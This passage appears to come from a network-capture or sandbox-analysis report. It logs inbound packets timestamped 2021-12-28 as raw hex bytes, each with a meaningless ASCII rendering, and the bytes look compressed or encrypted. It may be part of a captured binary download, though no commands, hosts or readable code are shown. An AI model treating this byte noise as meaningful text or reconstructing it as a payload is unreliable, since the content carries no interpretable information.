b6 eb a7 43 59 2a 2f 4d 6b 69 e4 75 3c cf e4 50 f7 6f 9e 30 8a eb af e4 d4 93 6d f4 3c 1f Data Ascii: Uqxo"^,sV)K]\|dmnak?Q@-hS~7FAHRC1NLl ZKWFy'AA+fZq6F]Wkc5`}AU_$.-&QhBS_{(?2_kHIG,,)"CY/Mkiu<Po0m<
2021-12-28 17:13:33 UTC	120	IN	Data Raw: 3c f0 3a b1 bf c9 b5 ae f0 0e 23 43 b7 cf f8 0d 72 94 f6 1e 99 71 40 2a 3e 68 5c dc d8 e1 c2 57 cd 07 68 80 15 9a 46 18 d6 6b 6e 1f 79 6d 91 1c 5b 81 99 52 21 e7 a7 13 2b 07 23 67 df 7e b1 75 e0 27 fa 2a c6 4f 77 21 c1 98 9a 71 3f 16 af 60 fa 47 04 d8 d0 5c 34 c3 95 26 c0 3f 68 a3 03 da 9c 1c ea e2 1d e6 bf d9 7a 58 ed 85 58 de 66 57 c8 8a a0 f9 95 ab d1 e7 ef 4e 0f 29 47 c0 38 bb 01 1b 42 d1 89 2a e8 0d 36 93 5e 57 82 85 65 09 d6 03 13 d9 ef 16 e8 ea 8c 72 10 f4 e1 05 6a a2 12 5b a1 b9 ae ce e4 3e fe 04 c0 92 bf 77 c0 92 8d 15 44 59 fa 78 29 40 22 60 73 b4 db fe 05 a5 c9 d3 24 88 46 3c 53 cd 82 1e 5a 52 2f e2 50 b3 18 89 35 1f 10 3b cf 0f 44 35 ee d9 75 ce fd e5 03 a3 6f a0 72 9b 83 87 a7 f2 fd 41 cd a9 c2 49 39 48 4f 6c 00 88 32 55 9b e9 a7 53 b5 bd 18 Data Ascii: <:#Crq@>h\WhFknym[R!+#g~u'Ow!q?`G\4&?hzXXfWN)G8B*6^Werj[>wDYx)@"`s$F<SZR/P5;D5uorAI9HOl2US
2021-12-28 17:13:33 UTC	124	IN	Data Raw: 20 60 20 b5 ec aa a0 f3 a6 9a ab a0 a0 c2 83 3c 60 ba c3 ca 68 13 07 e3 9f ab 05 81 4e 8d 14 8e 33 56 24 75 97 fa 48 c6 da dd 9e b3 4b f9 25 69 0f 7b a8 ad 40 10 d4 47 86 3f 3a 52 07 62 7e a7 73 24 05 4a a9 91 2f f6 d0 2a d9 fb af 8b dc 51 2e e4 8b 0d af 11 23 5f 49 55 87 ae 46 68 16 e6 04 41 85 60 1a 7a d8 05 8a 1c b6 f0 a2 c3 24 92 26 42 e5 2b 0a 43 43 76 cb b8 cc 1d 2c b4 30 55 74 86 20 65 90 2d 7f da c0 c9 df 3c 21 bc 57 a8 33 9f d9 96 87 1d d2 2f 85 e4 0f 2f 12 26 e2 33 84 22 53 42 03 80 0f 6f bf a0 df c0 8b 51 f1 2d 3c 50 83 48 19 33 d2 9a 33 34 39 21 b4 71 d0 09 fe d5 5e f3 34 c1 f4 d9 5e 6d 12 b4 b2 20 66 91 e6 98 dc f6 8b ae 11 3e 65 2d 5a 5a c3 2a cd 14 89 cd 8e b9 1c 92 b9 ab fc 67 26 92 f5 17 39 1f 40 8e ba 14 ef 36 9c 3c 75 f3 8b 63 68 6c 23 Data Ascii: ` <`hN3V$uHK%i{@G?:Rb~s$J/Q.#_IUFhA`z$&B+CCv,0Ut e-<!W3//&3"SBoQ-<PH3349!q^4^m f>e-ZZg&9@6<uchl#
2021-12-28 17:13:33 UTC	127	IN	Data Raw: 1a de 02 6f 23 5a 03 75 be bf c7 da 94 37 79 97 90 81 9e 26 71 14 77 0b fc bd c7 21 41 18 07 e0 2c 65 b0 9f a2 05 ec 22 ba 11 70 58 ee ff b9 a5 80 62 67 39 70 58 f5 da 51 2b f8 70 f2 73 f6 0a 9e 65 bd 1f ae 18 93 35 52 66 a1 6f 8d 56 c4 55 8e 38 79 fa a5 ad 0e fa b8 e4 26 e9 4b bb 52 28 3f 23 23 d4 e3 84 43 9d c0 c3 2d 5b ea 20 b3 98 7d 69 9a b6 41 10 88 50 a7 4e 68 4a 5a 80 20 8e 1d c2 07 b0 a3 af f3 91 f5 a9 3f c2 40 39 0d 6c cf 01 50 10 a7 e5 06 a3 26 ab 29 c0 28 0c ad 95 3d 90 22 a2 8c a6 61 3a 4b 48 8b 2f 1f 24 1c 0f c7 ed 9f b4 fc 86 54 d6 aa c1 83 5d 1f 2d e4 96 24 18 39 f7 a5 aa 48 c6 d7 1a 40 d0 b4 6c 22 43 6c 81 9f 8e 3a c6 2c 60 23 67 ac ba 22 f4 7c f9 41 82 f3 50 13 14 a8 ab dd 80 2f 4d 63 ec a0 3a a2 8f 63 f7 93 1f 3e 76 e7 5f aa 62 80 be 12 Data Ascii: o#Zu7y&qw!A,e"pXbg9pXQ+pse5RfoVU8y&KR(?##C-[ }iAPNhJZ ?@9lP&)(="a:KH/$T]-$9H@l"Cl:,`#g"\|AP/Mc:c>v_b
2021-12-28 17:13:33 UTC	132	IN	Data Raw: e7 cc 7f c7 98 e9 24 65 d9 67 09 79 d2 e0 b9 a7 36 5f 98 e7 c6 2e 71 89 1a 77 b0 fe 7a 12 44 0d 10 ca a4 8b 38 7e eb ac 8a 79 c1 cf 1a 0f 08 92 85 3a 40 ef d1 36 d2 a2 bf 32 06 3c 71 bf b4 a9 c1 dd 81 3b 96 11 9c bb 28 71 fd 70 11 d0 b3 11 b4 f0 a4 30 bf d4 8d 2b 30 a9 19 01 27 17 4b c8 39 1b 89 7f de 09 eb 76 52 7d 89 f2 f7 2b 1a 55 32 c0 8b 0c a7 9b d7 06 cb 19 c2 75 8e cf 68 f5 8a 8d 3d d9 ac c1 bf 4f 61 80 03 09 e8 7e 33 49 37 d4 61 f3 4d 97 7f 19 64 0a 01 04 ec 7d bd a6 1b 73 62 7c 82 e9 ef c1 2b 3a 92 42 bb 3a d0 e2 2d d6 a8 35 c5 2a c8 ab 66 d9 7b b2 69 b7 bf ea 37 77 4e 5e 61 e0 38 12 cc d5 5e 87 39 cb 69 6a 55 07 06 47 7b 80 5e 21 9f 34 92 ab f4 0d 7b e0 a1 25 36 8b 72 17 fc df db 59 1c 95 94 8a 7e 3f fd 6e f9 3d b8 a3 fb 25 29 7c 52 8f 9c c7 04 Data Ascii: $egy6_.qwzD8~y:@62<q;(qp0+0'K9vR}+U2uh=Oa~3I7aMd}sb\|+:B:-5*f{i7wN^a8^9ijUG{^!4{%6rY~?n=%)\|R
2021-12-28 17:13:33 UTC	136	IN	Data Raw: f1 b4 3d 4f b5 9c 4f f0 92 38 cd 1f 74 af 99 30 63 d6 21 37 5a 22 7d 7e fc d4 84 11 05 41 7f 96 32 b5 60 a0 79 01 66 22 2c 79 17 72 29 58 77 54 cb ef 7f 9e ab 2d 36 43 11 48 01 93 7b 1a c5 78 dc 62 41 99 ac f1 97 a5 8c 62 83 16 09 ed 81 83 30 ff 42 64 3e 89 af 35 3a e1 8a c6 6b 41 94 8a 38 b8 cb 40 9f c5 20 99 dc 12 a6 10 31 10 35 df f8 be 99 31 d5 d5 ff c6 e3 89 e3 c1 26 cd 6a f8 68 30 03 18 63 13 22 03 8b ef 54 43 9a 2d 1d 13 4f 19 6a 98 fc 52 57 06 76 66 19 64 b2 65 f9 63 25 2a 1d e0 52 17 4c 24 ca ff 1e 72 e5 29 e4 be 7e a8 cb 59 bc be 66 b4 6e e7 77 07 37 ca e6 7f 4a b5 e3 20 52 d0 e7 d9 86 b1 7b 03 71 b3 6b 89 b1 a7 36 f5 50 53 f9 cd d0 65 12 b6 53 29 0d 85 e8 7d 6b 81 5b a2 56 5d fa 74 41 32 d1 2f 7c 2e e1 f8 3b 62 9c 18 24 17 61 36 10 92 8a b7 9c Data Ascii: =OO8t0c!7Z"}~A2`yf",yr)XwT-6CH{xbAb0Bd>5:kA8@ 151&jh0c"TC-OjRWvfdec%*RL$r)~Yfnw7J R{qk6PSeS)}k[V]tA2/\|.;b$a6
2021-12-28 17:13:33 UTC	140	IN	Data Raw: 2e 34 f1 68 7b 79 bc 40 72 5c 4c 87 74 62 3e 8e 42 2b ab 97 a9 38 1b 46 18 01 30 df e1 dc 68 57 1e c1 ac 4b 2c be c0 53 20 bf 26 cc ca 1a 6d d9 e5 36 fe 0e ba c0 0c a9 ee 71 e4 a1 d9 b9 88 2d 38 ac 5d 82 21 59 99 22 5b 0e cf 67 e5 76 af a1 00 19 9b a1 fe dc c8 03 b1 2d 07 4e ab 5c c1 19 13 57 96 00 72 de 0b 29 25 e5 c7 63 66 37 c1 7f 22 29 54 14 55 b7 06 f2 84 99 d8 ab c6 9f af 40 f2 b3 32 e5 76 0c 7a cd c8 37 bd 92 26 f6 af 45 2a 4c 9a 03 ad b0 d4 54 9e 1e 2d 22 e4 d6 12 2f b2 55 d2 af 14 5b 72 1b a0 b2 1c 36 b9 8b 6d da 49 61 d5 c6 21 5a eb 24 f9 42 2c 14 91 01 fc fb 2f a0 c7 18 3c c3 72 01 cc 80 d1 ca f0 8c b8 d7 bc eb 87 4e 16 5b 0c f1 96 e2 f3 c3 bd 00 57 fd df 19 8f ca 2b 1a 34 0b 77 4c ef d0 96 c2 1b 39 46 f1 ce 61 0d c2 dc 63 4c e9 96 1b d1 e9 92 Data Ascii: .4h{y@r\Ltb>B+8F0hWK,S &m6q-8]!Y"[gv-N\Wr)%cf7")TU@2vz7&E*LT-"/U[r6mIa!Z$B,/<rN[W+4wL9FacL
2021-12-28 17:13:33 UTC	144	IN	Data Raw: 37 a0 3f 87 8c 50 0f f0 69 7f 8d a6 b1 b4 cb f8 bf 93 28 57 79 c8 13 f2 a8 bd a0 9f c5 29 f3 32 3a e0 18 3b c8 88 b7 f0 00 9e 87 f0 16 88 3c 2f ba d5 fd 1a 03 b3 52 6a 0b 27 04 6a ac 56 32 db 3f c7 ad 15 fb f8 4d d2 a1 55 0c 5e 45 26 85 d0 8b 1d 61 41 a6 34 27 39 d0 c7 5e be aa 11 a7 78 ad a0 ae 2f 24 29 2d f5 6a 0e c3 c9 ea d8 74 df a4 bd 9a 28 7e b3 69 c8 1a f2 17 4f 2e 53 14 18 4d 75 a6 f7 62 b3 71 a4 ff 2b 4c 8b 2e f4 24 e5 b0 c6 4d a4 d7 a4 67 b5 6f 8c 22 b0 77 14 03 8a 4c 5b ef d6 cf 1d ea f1 a0 5f b9 c6 76 65 e5 46 ba 3d c1 03 93 4a 06 e7 0c 22 bf 28 79 67 33 9e f7 2d bd 3f b3 b7 06 5d 54 74 44 72 c9 ab 9d 4a 1b 8a 68 4c 88 69 57 01 2d c5 33 81 2d af 73 8f 5f 0e 0a aa 36 25 6e 96 b8 bf 18 eb cb fb 7a e1 10 fb f1 b4 b6 dc 95 13 f5 32 26 10 9c cb 2f Data Ascii: 7?Pi(Wy)2:;</Rj'jV2?MU^E&aA4'9^x/$)-jt(~iO.SMubq+L.$Mgo"wL[_veF=J"(yg3-?]TtDrJhLiW-3-s_6%nz2&/
2021-12-28 17:13:33 UTC	148	IN	Data Raw: 69 8d 79 54 52 63 bb e0 ad af df 7b e1 89 94 16 1f d1 1f b6 9d fd 08 1b e1 14 6d 59 10 fd 10 fc 4d 84 5c e2 e6 ae 18 e9 42 88 ad 69 15 46 df ca 60 a5 38 0f 44 1a 5e 6d 44 84 91 44 51 3b 34 16 44 2a f1 6f 76 0f 9a 87 a7 7b 9a 86 54 b7 f1 93 18 43 08 1f c1 7c ba b2 48 1a 2b 57 20 df a4 be 3f dd 80 24 f3 73 7c d4 db 3b 5f 31 4f 5b b1 52 eb a9 f5 c0 d0 de 2f c0 37 89 43 eb 74 a2 ec 76 b5 c8 b2 92 8e 52 8d 7b 39 ca 01 94 60 c4 a3 93 f0 2d 1f b6 62 25 fc 1b 67 4a 23 05 af e2 40 dd 1f 93 de 41 11 cb 08 e0 ee be 96 16 9d b4 65 fb 68 ff 41 41 cb 47 f5 1f 39 80 6b b2 d0 eb e8 fa 82 84 2c a4 71 4a 70 22 e5 27 36 7a 5f 9f f1 48 f2 ae f5 40 3d c3 64 64 4d 5e 0a 9b 7a 14 f4 f6 4e 75 cd d1 e9 bb ef af 26 da 1c d3 ee 24 2e 09 27 33 d3 0b 15 bf 3d 36 3b 49 1a 87 6a 3c 7f Data Ascii: iyTRc{mYM\BiF`8D^mDDQ;4D*ov{TC\|H+W ?$s\|;_1O[R/7CtvR{9`-b%gJ#@AehAAG9k,qJp"'6z_H@=ddM^zNu&$.'3=6;Ij<
2021-12-28 17:13:33 UTC	152	IN	Data Raw: b1 19 e8 8b a2 62 f7 dd 3b de 12 dc d5 36 99 4a ae 86 fb d8 31 1a 97 7b 2d 21 b1 cc a4 63 26 d7 f4 ac 01 dc 49 e5 cc 79 49 36 0c cb 89 7c ae c8 1d 5a ff 65 f0 45 94 ba 59 b2 f8 85 95 12 43 18 b4 ae 2e 38 d5 b0 9a d0 d8 18 3b a1 d2 f0 4b cc 3c 6c b9 c1 b8 97 9c 5a c1 e3 c9 10 a8 79 18 7e d1 88 b8 72 29 42 10 ed aa dc 1d e3 f8 3e d9 a1 da d0 f9 14 bd 1c 1f 4f be a4 1c 7f 1c 56 69 12 56 12 85 b9 f4 f2 30 f7 e3 e6 76 cf d4 dd 20 12 38 07 ab fa 72 e5 67 55 df c8 b9 0a f3 19 f3 ec 9f b8 4f bc f4 7f 69 3d bd e0 a2 eb c9 85 65 5d b1 e1 21 62 8b 97 0e 26 a8 fd 76 78 54 48 ce c1 ba d0 d7 b3 ec fa 91 2c 49 59 bc ff 37 14 9b 31 12 6d 24 25 bb ab 27 4c 68 24 51 82 90 e4 f4 a7 9a 04 f1 b8 06 a5 cb 62 1e 56 a1 6f 50 62 4d b6 9e 45 5c 29 d2 08 2e 44 4e 7c 50 5f bb 44 58 Data Ascii: b;6J1{-!c&IyI6\|ZeEYC.8;K<lZy~r)B>OViV0v 8rgUOi=e]!b&vxTH,IY71m$%'Lh$QbVoPbME\).DN\|P_DX
2021-12-28 17:13:33 UTC	156	IN	Data Raw: c7 83 5b 13 2a 82 3e 5a b1 ab 03 b0 44 2b ca 1a bc 58 a9 92 ee e3 13 00 30 72 c5 2d a8 8e aa ad 43 69 30 a0 15 00 bc b8 15 4d 0b 96 18 8c 46 91 55 75 dc 86 32 46 5c 38 6e 64 9e fd ce 3d dd 57 74 c4 25 33 18 c6 7e ae ff 7b ee 3f 4b db 42 4f c6 21 41 90 28 ff 32 be ba d6 08 e1 20 05 57 43 e1 38 93 84 5c 96 78 c1 c8 25 cf 1b 8b cd 33 aa d7 8e e2 59 c2 bf 14 ce 39 f8 d4 3f c9 db 7f fc 5b d1 9a d3 dc 10 5b 74 6e 99 b3 bf fa bd 26 6a 91 ed 3d ad b1 a8 22 71 d5 46 b9 09 33 3c 08 35 91 12 c7 ae 37 96 e9 94 10 b6 37 dd 29 4a 2f 6c 07 5d f3 f3 46 71 73 26 ae 38 91 4e c5 b6 0e 0e ec 0e b6 16 e3 9e 62 5a d8 b3 ce 1c 7e 52 a4 06 53 a5 3c df b7 60 d7 dc d8 8a 9a 6d cc 63 fa 16 f7 ba 4f 31 96 c6 6f 8d a6 ac e2 34 9c e2 a5 21 e6 cf 1d 98 c7 c7 fd e0 f8 a0 1e 4d 1a 6a 9b Data Ascii: [*>ZD+X0r-Ci0MFUu2F\8nd=Wt%3~{?KBO!A(2 WC8\x%3Y9?[[tn&j="qF3<577)J/l]Fqs&8NbZ~RS<`mcO1o4!Mj
2021-12-28 17:13:33 UTC	159	IN	Data Raw: c3 f0 29 0d 8f 87 ac f2 e0 d6 57 e1 c9 1f a6 a1 59 20 ba ea e6 c4 5d fc df 9a 54 78 52 02 d1 ed 5a bd d4 bb 21 dc 47 3c e5 3f 61 92 b4 6b 7d 0e 5e 1f 0e c7 09 3a 33 1d 74 9a ca d9 7b 77 9a f2 76 fd e8 9a 3a 2b e1 ac 6a bd 79 70 63 18 ab b9 95 9b 25 f4 5a 5b 78 30 2b f7 84 01 84 d5 51 97 66 ce 1a d7 ec 41 f3 86 4b 7e ae 58 f0 97 78 a4 92 25 51 17 5b 63 cc 9a 99 3c b3 68 2f 69 07 a3 25 ba 05 ab c3 d7 4a 23 13 a2 13 9e 21 a5 43 b1 fd ca 82 8e 1c 97 e1 b5 13 5d 90 6c 9c 80 e2 07 06 23 f6 b7 2a 48 66 7f 78 e2 1a 92 35 b7 96 1b 1b 44 9c 3e 74 e5 21 f6 2a 83 2a ba 51 95 6c ae ce 8a e0 28 c9 68 fd 7b ce fe f6 9f 39 e4 90 8a 7e dc 56 cf b0 c1 b8 e6 10 0f 2d 21 b2 10 05 3f 19 10 5a 13 1e 37 0a fd 30 ae 2a c4 98 1e fc 74 12 e8 a4 f7 a4 32 ef 4a 91 2c 99 4b 70 32 87 Data Ascii: )WY ]TxRZ!G<?ak}^:3t{wv:+jypc%Z[x0+QfAK~Xx%Q[c<h/i%J#!C]l#Hfx5D>t!Ql(h{9~V-!?Z70t2J,Kp2
2021-12-28 17:13:33 UTC	164	IN	Data Raw: 42 7e e5 80 16 c9 38 68 67 af 2d 91 78 d7 03 75 60 08 e4 b6 af e3 63 cc 0e 06 43 2f 12 62 08 49 f8 4e 99 e3 d0 68 2e 65 83 6c e5 e1 45 f9 e5 d8 c6 6e 4b 03 fe fe d6 ae e4 ae 02 9f c2 35 42 6a 0e 0c 5f bc f0 87 85 c1 50 df 6f af bd 25 da f9 ba 9e ee e6 d7 72 b5 a7 85 3c 02 17 7e dc 9f f8 1a 1c f5 6d 3f 92 25 c8 04 3f 54 5d 00 40 14 be 4e 05 ef 94 ec 37 02 59 ee 5f b3 70 79 e7 a2 4d 91 76 3c b5 02 4b b6 74 7e f4 a2 04 17 0c c8 ba 85 7b 9b 02 96 c5 00 b2 83 7c f0 b4 93 3b 87 d3 51 9b 61 72 30 46 2b 01 6b 3f 30 92 c8 19 ce dd 61 c3 f3 ff e2 9f f0 f7 16 4d dd 38 c5 58 8b e3 47 8c 85 ff 66 ab cb 28 5a 9d 30 c1 ed b2 31 a8 9a 24 6c 54 2d 26 2d 28 b5 6d ac a3 98 08 03 3b 77 e6 29 5d 1b c4 bb 59 25 7e e6 a8 53 38 b9 eb 22 fd fc 9e 6a 15 a8 30 49 1c b8 47 fe c1 1f Data Ascii: B~8hg-xu`cC/bINh.elEnK5Bj_Po%r<~m?%?T]@N7Y_pyMv<Kt~{\|;Qar0F+k?0aM8XGf(Z01$lT-&-(m;w)]Y%~S8"j0IG
2021-12-28 17:13:33 UTC	168	IN	Data Raw: 45 1c 75 d7 0d cd 37 4c 07 52 5d b4 17 0a 15 02 61 7d 4f 88 3d 61 ff eb a0 0e a3 c3 42 ec 0e 0b 1a dc 56 a9 53 d9 0f 27 0a f9 9e 58 e2 7f 49 c6 00 63 c0 08 d5 fa 73 72 13 7c 55 c3 79 f2 1a 43 99 5f 80 57 94 1e 78 03 93 05 0d 02 fd 59 40 59 ca a4 7f 61 56 09 d4 2b 63 4b 98 a1 2d b7 5d 4c fe 13 4a a7 08 4a 2f 33 6d dd 1b 26 f9 52 22 d4 12 cf 67 ce 60 07 7d 36 14 b2 7f c1 7a 8f b4 bb e8 e8 02 cb 3a fd 39 ec 2f 58 99 16 a2 13 54 61 64 82 fe 5a 75 4a 17 94 e5 f6 12 c1 7d 5b 38 d0 88 b2 e9 c9 78 08 89 89 4e f2 e9 b8 6e b5 9b ce fb 13 2a bd 5e ef dc 61 4e 4a 42 9b dc a3 e4 df 66 1e db 36 44 89 1e 67 04 a6 02 d5 7e 36 16 53 6e 1f e7 ba bf c0 cf b7 64 07 3b 5a 8a 3a 16 44 5d ea d8 24 23 5e e5 f0 81 39 9d 28 c2 80 c3 53 12 9d 1a 74 0b 0e b7 db 72 0d 41 ba 89 02 86 Data Ascii: Eu7LR]a}O=aBVS'XIcsr\|UyC_WxY@YaV+cK-]LJJ/3m&R"g`}6z:9/XTadZuJ}[8xNn*^aNJBf6Dg~6Snd;Z:D]$#^9(StrA
2021-12-28 17:13:33 UTC	172	IN	Data Raw: af cb 55 27 c4 57 42 77 75 f0 82 a6 28 89 da 76 2b 57 4a a3 25 f7 83 37 fc 5e 1a af 65 c6 cd ef 15 b5 54 b5 b4 ae 0b 29 b5 5e cf 1f fb da 36 f0 6a a7 4b 39 fa 90 fb 65 92 90 ab c5 11 1e cc c8 e5 7a 80 45 01 ee 4d 16 2c 85 9f eb 2b c8 e3 ff 54 66 10 72 eb 2b 72 59 15 28 95 00 44 c4 e3 3b 13 af bd 1d d2 67 30 f2 02 78 d0 81 32 b2 47 2e 54 d5 71 c2 48 1b f5 5d 95 90 f6 46 49 55 6b 6c 80 8d ff ed e7 9c 99 3a 87 b4 b3 6e fd 2f e8 13 c1 6d 49 bc 9f b3 5f df 7a 27 c7 92 57 75 5f 4e 00 f2 43 b2 83 66 4d 6e 46 56 3f 80 a3 88 dd 83 96 6a bf a6 23 dc 28 a2 ae 28 0a f1 d0 f5 d0 84 84 55 8f a7 c8 2c 0f 8c 72 0c 65 b7 3f 32 69 ab 11 4c 7c 04 bc 05 e9 68 0d d0 5c ee a5 98 bb d6 7b 32 d3 93 2e 3f 6d 87 f6 a5 19 80 3c cd 95 0e c0 56 e5 f2 0f d0 6b 99 d8 1b 9b 1b c1 43 1e Data Ascii: U'WBwu(v+WJ%7^eT)^6jK9ezEM,+Tfr+rY(D;g0x2G.TqH]FIUkl:n/mI_z'Wu_NCfMnFV?j#((U,re?2iL\|h\{2.?m<VkC
2021-12-28 17:13:33 UTC	176	IN	Data Raw: 71 12 d4 42 6d b5 dd a4 77 12 88 f3 72 9b 79 b0 6f 95 e6 cb f5 21 e0 b4 79 64 51 90 5f 6b c1 a5 a5 a7 71 28 6b 8e 37 f4 09 5b ef 44 37 4d 9d 50 6d e6 5b f3 e9 e9 83 65 f4 fa ee 9d 65 b6 87 4f 1c 72 e5 79 7a c6 79 18 8f 3d 15 dd 87 48 83 f9 7b 29 08 71 03 51 42 02 3f a3 3f b1 e7 bf 9d eb 5c 0f b0 30 6f c3 1a 97 87 db 3f ff 42 bf b6 75 7a d8 0c db 2b f4 af 0b 5b 9d 5c c0 61 3c 1d da a8 44 ff d8 57 68 d5 f1 4c 68 c6 a9 92 8e 27 11 ee b5 cb 97 e8 28 c5 af 87 0c 46 e0 86 a9 37 fc c5 74 02 c7 68 26 d3 5c 84 dd 4c 8b cb 1a 4c 79 f3 6d 02 78 92 2d 02 68 7d e1 03 da 42 fa e3 5b f5 90 42 6f d9 de 1d 3f 8d 84 03 64 42 65 61 db f3 91 21 f0 09 c7 47 ac 7b f5 14 04 c1 da de 94 2a e9 b4 12 53 50 99 e4 06 48 ee 18 35 4c b6 cd f0 c8 0f 0b ee f8 98 bb f1 70 4a b9 87 cf b3 Data Ascii: qBmwryo!ydQ_kq(k7[D7MPm[eeOryzy=H{)qQB??\0o?Buz+[\a<DWhLh'(F7th&\LLymx-h}B[Bo?dBea!G{*SPH5LpJ
2021-12-28 17:13:33 UTC	180	IN	Data Raw: 70 6a c3 15 52 0e b9 c0 cc 9e c0 14 01 35 3b e1 0c 2a d7 3e 94 f5 34 65 eb 41 45 d7 15 0f 53 37 01 be 11 b7 55 0a f1 59 7a 89 80 e4 33 44 6e 57 0b 48 41 69 c5 bb 8b 8f 2a 05 11 a2 1f 8b e1 fb fd 3f 99 85 71 1e d8 dc a5 f7 ef c0 21 01 5b 3c de f8 9d 15 91 9b b9 72 e4 53 1c 7e c3 67 4d bd af 8a b9 f0 1b c6 51 87 67 ad 6b 45 62 66 46 eb 7a cf 9e 82 0e 55 79 c6 b0 f9 12 74 1f 93 43 83 0b b5 d4 ec dc 9f a4 50 74 e6 d8 2c 17 b9 3f 4a b1 9d 51 6c b6 d8 f9 fa 87 6f 17 91 c7 04 26 07 19 cc a0 82 ab e7 aa be 05 3f 60 63 6d a9 4e a8 76 b9 2e 2d b9 d3 ec 22 52 5a ce 68 7d 45 30 55 f6 bb 0a 6d 62 8d 8a 05 00 d3 cf 75 78 58 54 42 5f ef 95 e5 2f 7f 43 22 19 3f bf 3b 5d 41 a4 01 b3 5b 7b e8 6b be 1b 95 97 99 df 81 0e 4a 2a 2c b1 0a 8e 86 66 73 16 cd 2d e4 ef 49 86 b4 4c Data Ascii: pjR5;>4eAES7UYz3DnWHAi?q![<rS~gMQgkEbfFzUytCPt,?JQlo&?`cmNv.-"RZh}E0UmbuxXTB_/C"?;]A[{kJ*,fs-IL
2021-12-28 17:13:33 UTC	184	IN	Data Raw: 91 97 8e 32 af 87 45 09 ac 98 27 1d 88 6b 42 3b e7 be b7 0d 7e cc 71 42 dc 64 eb 62 02 4b b6 96 df e6 ad ff 9b c1 65 6b 09 e5 7a b3 fc 6f 3f a2 ae 83 c7 b8 e0 85 e8 c5 19 f8 49 5a 9f c0 31 8c cf 98 6c fa 3e 1f cc 8a 0c 74 7e f6 92 f7 5d 86 36 05 e0 ae 67 ba 29 76 49 10 60 02 d8 76 73 e8 43 37 77 74 e7 d3 e1 67 3e 68 88 44 0a 93 ee 04 ae ea 9f a7 d0 9f 5e 26 5d fb b1 8b cc 26 e1 4b e6 9e fb 25 9e 23 b2 6b a5 e8 b0 c9 8b cc ec 09 87 ea f8 56 1a b2 82 c2 a2 d5 00 66 64 1c f9 b1 43 29 20 1f 5d d9 ce 44 59 66 a2 87 8d 35 af 4f 28 f4 1c 07 e8 2c 71 05 c4 bc b1 fd 48 4d aa c1 35 d6 20 11 16 19 cd 9e 30 c2 4f 4e bb 36 c7 fa 71 42 30 08 eb 2c ae c1 07 da 4a 7d 2e fb 49 ec da b0 c5 5c 76 bf 79 7d e3 e2 88 c7 fb e1 fe 04 74 60 c8 79 49 a1 67 01 ff 86 00 e8 b3 a5 1b Data Ascii: 2E'kB;~qBdbKekzo?IZ1l>t~]6g)vI`vsC7wtg>hD^&]&K%#kVfdC) ]DYf5O(,qHM5 0ON6qB0,J}.I\vy}t`yIg
2021-12-28 17:13:33 UTC	188	IN	Data Raw: 1f 46 ac 0b dc 76 4f d8 e7 08 4a 12 65 c7 22 c2 db 6f 4d 90 3e a9 37 f7 6c 42 15 30 36 57 b5 bd 7c 97 3b ca 01 e1 6a 0f 06 d4 96 f5 b1 50 13 6c 56 8b 0d ca 33 71 e4 68 2d c4 eb 2f 22 68 98 3a dd 03 7c cc 35 0d a7 d7 d1 ca e1 15 22 54 17 20 ad 90 68 31 38 da 90 45 ac 61 f8 86 5d 9d 2e 86 0a d0 13 c7 f3 2c 67 41 b7 14 7d 8a 0a 1f 37 e9 87 7d 33 c5 20 e4 17 de 10 27 9a 74 0e b4 9d 6e e5 19 dc 03 af a8 c2 8e 9b c5 10 1d 69 a3 37 6e 35 60 91 26 e7 15 6f 43 9a 5b 7c 10 8a cf 8d cb 1d 1b 8b cd f9 aa 51 a1 0e 17 69 ee 68 ae 94 7c d7 f1 da 7e 7e 79 67 72 8f a0 5a 24 4c 6f 7f ff cb 1a eb 8c bc 1c 0c 80 b8 ab 6a 14 93 0a 53 33 98 31 9f 16 90 10 4b c5 d4 19 a8 a2 84 84 5a fb 30 5e 6a 42 1c 78 5c 28 85 d3 b5 fe 6d 6d af bc 70 d0 76 bf 63 7d e3 b5 fa 93 26 5e 2e 2c 84 Data Ascii: FvOJe"oM>7lB06W\|;jPlV3qh-/"h:\|5"T h18Ea].,gA}7}3 'tni7n5`&oC[\|Qih\|~~ygrZ$LojS31KZ0^jBx\(mmpvc}&^.,
2021-12-28 17:13:33 UTC	191	IN	Data Raw: 1c a0 01 4e 42 10 31 3f 9c b9 58 cd 16 4b 77 ef a6 4d 0c 3c 02 f9 69 69 f8 4e 82 3d b1 0d 05 ef 8e 25 ab c7 b1 cc f5 b1 62 d5 75 bf 14 55 e0 3f 6e 9c 67 1c db 84 5b fe c8 ae a2 84 04 68 03 47 71 a6 04 f6 09 fb 53 80 f5 74 de 53 bd d5 c7 1a a5 5a 93 df 86 ed 55 e3 66 1a 4c 26 f5 c3 be c0 9b c7 46 db 8f 94 0c 00 55 13 0e f5 a1 a4 74 ad 5e 41 51 1c 7e 2d 51 63 d7 fa 09 66 f5 00 9c 03 9f 64 44 b8 49 97 41 1a 25 75 15 ce 82 19 c3 3c c4 d2 38 9c a8 de 93 ef a7 b4 1c fc 56 e5 46 ac c5 da 03 9e 8b fc 45 e2 b6 da c6 bd b0 ed 72 e4 2a 40 b3 61 b1 95 a9 c9 62 bd 7d 7d c6 cb 69 9c 3a 72 ee 2e 82 b9 d1 75 56 a2 f3 df 7d 14 9f 2b 7f 70 6d 9e 85 e4 14 33 2b 07 61 f9 15 89 63 77 57 ce bd 3d d3 8e f0 71 94 3d 6f 3a b6 8b ac a9 ad e0 8a 77 60 2f 4f 9e c9 b4 ba be d5 e0 22 Data Ascii: NB1?XKwM<iiN=%buU?ng[hGqStSZUfL&FUt^AQ~-QcfdDIA%u<8VFEr*@ab}}i:r.uV}+pm3+acwW=q=o:w`/O"
2021-12-28 17:13:33 UTC	196	IN	Data Raw: 17 c1 ba 40 92 ae 4b 91 4e da 0f aa 43 0c d9 e3 01 83 45 24 a4 08 cf f2 ee 04 42 a2 90 c2 2f 83 38 b4 19 61 89 63 19 32 f9 ec f6 a6 82 a4 22 6f 0e 15 fb 06 7e 4e ba 7a d9 17 c8 49 73 fe 35 fb 33 b0 d8 ba 4b 92 03 94 8e 5b e8 b8 63 ea 6d fe a8 2c f7 2f 8e 1c 59 0b 3a f5 17 8b 3f 9b 2b b3 8e 68 59 a6 e5 7e c5 85 3d 25 62 35 b0 b6 94 16 17 9f 3d 5d ca b7 f9 23 df 29 61 e1 56 84 5d cf 45 92 35 7f 7c e5 3a c7 12 de d7 1e 29 54 c2 2b fd a7 a5 d7 e9 1f 6c 39 15 50 f1 60 93 23 7b 0b ea 74 3e d9 bb 9e 91 8f 0f c5 16 1d 10 9d 8f 35 c1 76 fa c1 1d e9 96 a8 d3 e5 81 3e 56 